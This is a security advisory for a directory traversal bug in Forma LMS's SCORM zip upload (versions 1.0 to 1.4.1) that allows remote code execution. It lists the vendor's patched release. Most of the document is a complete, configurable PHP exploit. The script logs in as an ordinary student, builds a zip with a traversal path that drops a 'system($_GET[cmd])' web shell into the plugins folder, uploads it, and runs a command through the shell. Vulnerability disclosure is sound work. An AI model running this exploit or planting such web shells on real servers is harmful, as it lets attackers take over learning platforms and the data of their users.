SSD Advisory – Forma LMS scorm.php Directory Traversal Vulnerability and Remote Code Execution

Vulnerability Description
A remote authenticated user (student) could place malicious PHP files inside a public web path and execute arbitrary code/commands (note that self-registration will be probably enabled on most implementations).
This is because the insitem() function inside /appLms/modules/scorm/scorm.php which subsequently calls into /addons/pclzip/pclzip.lib.php to extract uploaded zip files.
If the zip file contains a malicious file entry with directory traversal specifiers (like ex. ./../../../../plugins/index.php) the application will not strip them and will cause the file to be written outside the temporary newly created folder.
As attachment, proof of concept code. Configure it. Finally launch from the command line.

Vulnerable Version

  • Forma LMS version 1.4.1
  • Forma LMS version 1.3
  • Forma LMS version 1.0

Vendor Response
The vendor has issued a patch for Forma LMS version 1.4.1, titled: SECURITY RELEASE: FORMA 1.4.2.
Proof of Concept

<?php
/*
Forma LMS 1.0/ 1.3/ 1.4.1 scorm.php insitem() Operation ZIP File Processing Directory Traversal Vulnerability
Remote Code Execution Proof of Concept
*/
error_reporting(E_ALL);
set_time_limit(0);
#configure-----------
$host = "127.0.0.1";
$port=80;
$my_path="/formalms"; //change here, web path to the application
$lu="suntzu"; //username, a simple user account is enough, registration is open on most of the sites
$lp="mypass1234"; //password
#--------------------
$pk ="GET ".$my_path."/index.php HTTP/1.0\r\n".
     "Host: ".$host."\r\n".
     "Connection: Close\r\n\r\n";
//echo $pk;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected!");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out;
$tmp=explode("Set-Cookie: docebo_session=",$out);
$tmp=explode(";",$tmp[1]);
$cookie=trim($tmp[0]);
echo "[*] initial cookie -> ".$cookie."\n";
$tmp=explode("authentic_request\" value=\"",$out);
$tmp=explode("\"",$tmp[1]);
$ar=trim($tmp[0]);
echo "[*] 'authenticrequest' hash -> ".$ar."\n";
$data="authentic_request=".$ar."&login_userid=".$lu."&login_pwd=".$lp."&log_button=Login";
$pk="POST ".$my_path."/appLms/index.php?modname=login&op=confirm HTTP/1.1\r\n".
    "Host: ".$host.":".$port."\r\n".
    "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n".
    "Connection: Close\r\n".
    "Cookie: docebo_session=".$cookie.";\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: ".strlen($data)."\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected!");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out;
$tmp=explode("Set-Cookie: docebo_session=",$out);
$tmp=explode(";",$tmp[1]);
$cookie=$tmp[0];
echo "[*] cookie -> ".$cookie."\n";
class zipfile
{
    var $datasec      = array();
    var $ctrl_dir     = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   = 0;
    function unix2DosTime($unixtime = 0) {
        $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
        if ($timearray['year'] < 0x7bc) {
            $timearray['year']    = 0x7bc;
            $timearray['mon']     = 1;
            $timearray['mday']    = 1;
            $timearray['hours']   = 0;
            $timearray['minutes'] = 0;
            $timearray['seconds'] = 0;
        }
        return (($timearray['year'] - 0x7bc) << 0x19) | ($timearray['mon'] << 0x15) | ($timearray['mday'] << 0x10) |
                ($timearray['hours'] << 0xb) | ($timearray['minutes'] << 0x5) | ($timearray['seconds'] >> 0x1);
    }
    function addFile($data, $name, $time = 0)
    {
        $time= (int) $time;
        $name     = str_replace('\\', '/', $name);
        $dtime    = dechex($this->unix2DosTime($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr   = "\x50\x4b\x03\x04";
        $fr   .= "\x14\x00";            // ver needed to extract
        $fr   .= "\x00\x00";            // gen purpose bit flag
        $fr   .= "\x08\x00";            // compression method
        $fr   .= $hexdtime;             // last mod time and date
        // "local file header" segment
        $unc_len = strlen($data);
        $crc     = crc32($data);
        $zdata   = gzcompress($data);
        $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2); // fix crc bug
        $c_len   = strlen($zdata);
        $fr      .= pack('V', $crc);             // crc32
        $fr      .= pack('V', $c_len);           // compressed filesize
        $fr      .= pack('V', $unc_len);         // uncompressed filesize
        $fr      .= pack('v', strlen($name));    // length of filename
        $fr      .= pack('v', 0);                // extra field length
        $fr      .= $name;
        $fr .= $zdata;
        $this -> datasec[] = $fr;
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec .= "\x00\x00";                // version made by
        $cdrec .= "\x14\x00";                // version needed to extract
        $cdrec .= "\x00\x00";                // gen purpose bit flag
        $cdrec .= "\x08\x00";                // compression method
        $cdrec .= $hexdtime;                 // last mod time & date
        $cdrec .= pack('V', $crc);           // crc32
        $cdrec .= pack('V', $c_len);         // compressed filesize
        $cdrec .= pack('V', $unc_len);       // uncompressed filesize
        $cdrec .= pack('v', strlen($name)); // length of filename
        $cdrec .= pack('v', 0);             // extra field length
        $cdrec .= pack('v', 0);             // file comment length
        $cdrec .= pack('v', 0);             // disk number start
        $cdrec .= pack('v', 0);             // internal file attributes
        $cdrec .= pack('V', 32);            // external file attributes - 'archive' bit set
        $cdrec .= pack('V', $this -> old_offset); // relative offset of local header
        $this -> old_offset += strlen($fr);
        $cdrec .= $name;
        $this -> ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data    = implode('', $this -> datasec);
        $ctrldir = implode('', $this -> ctrl_dir);
        return
            $data .
            $ctrldir .
            $this -> eof_ctrl_dir .
            pack('v', sizeof($this -> ctrl_dir)) .  // total # of entries "on this disk"
            pack('v', sizeof($this -> ctrl_dir)) .  // total # of entries overall
            pack('V', strlen($ctrldir)) .           // size of central dir
            pack('V', strlen($data)) .              // offset to start of central dir
            "\x00\x00";                             // .zip file comment length
    }
}
$code='
<?php
system($_GET[cmd]);
?>
';
$zipfile = new zipfile();
$zipfile -> addFile($code,"./../../../../plugins/index.php");
$dump_buffer = $zipfile -> file();
assert(file_put_contents("a.zip",$dump_buffer));
$dump=file_get_contents("a.zip");
$data='------------ei4Ij5ae0gL6Ef1Ij5Ef1cH2ae0Ef1
Content-Disposition: form-data; name="attach"; filename="a.zip";
'.$dump.'
------------ei4Ij5ae0gL6Ef1Ij5Ef1cH2ae0Ef1
Content-Disposition: form-data; name="authentic_request";
'.$ar.'
------------ei4Ij5ae0gL6Ef1Ij5Ef1cH2ae0Ef1
Content-Disposition: form-data; name="back_url";
http://www.google.it
------------ei4Ij5ae0gL6Ef1Ij5Ef1cH2ae0Ef1--
';
$pk ="POST ".$my_path."/appLms/index.php?modname=scorm&op=insitem HTTP/1.0\r\n".
     "Host: ".$host."\r\n".
     "Content-Type: multipart/form-data; boundary=----------ei4Ij5ae0gL6Ef1Ij5Ef1cH2ae0Ef1\r\n".
     "Content-Length: ".strlen($data)."\r\n".
     "Referer: http://".$host.":".$port.$my_path."/appLms/index.php?modname=scorm&op=insitem\r\n".
     "Cookie: docebo_session=".$cookie.";\r\n".
     "Connection: close\r\n\r\n".
     $data;
//echo $pk;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected!");}
fputs($fp,$pk);
fclose($fp);
//echo $out."\n";
sleep(3);
$pk ="GET ".$my_path."/plugins/?cmd=dir HTTP/1.1\r\n".
     "Host: ".$host."\r\n".
     "Connection: Close\r\n\r\n";
//echo $pk;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected!");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>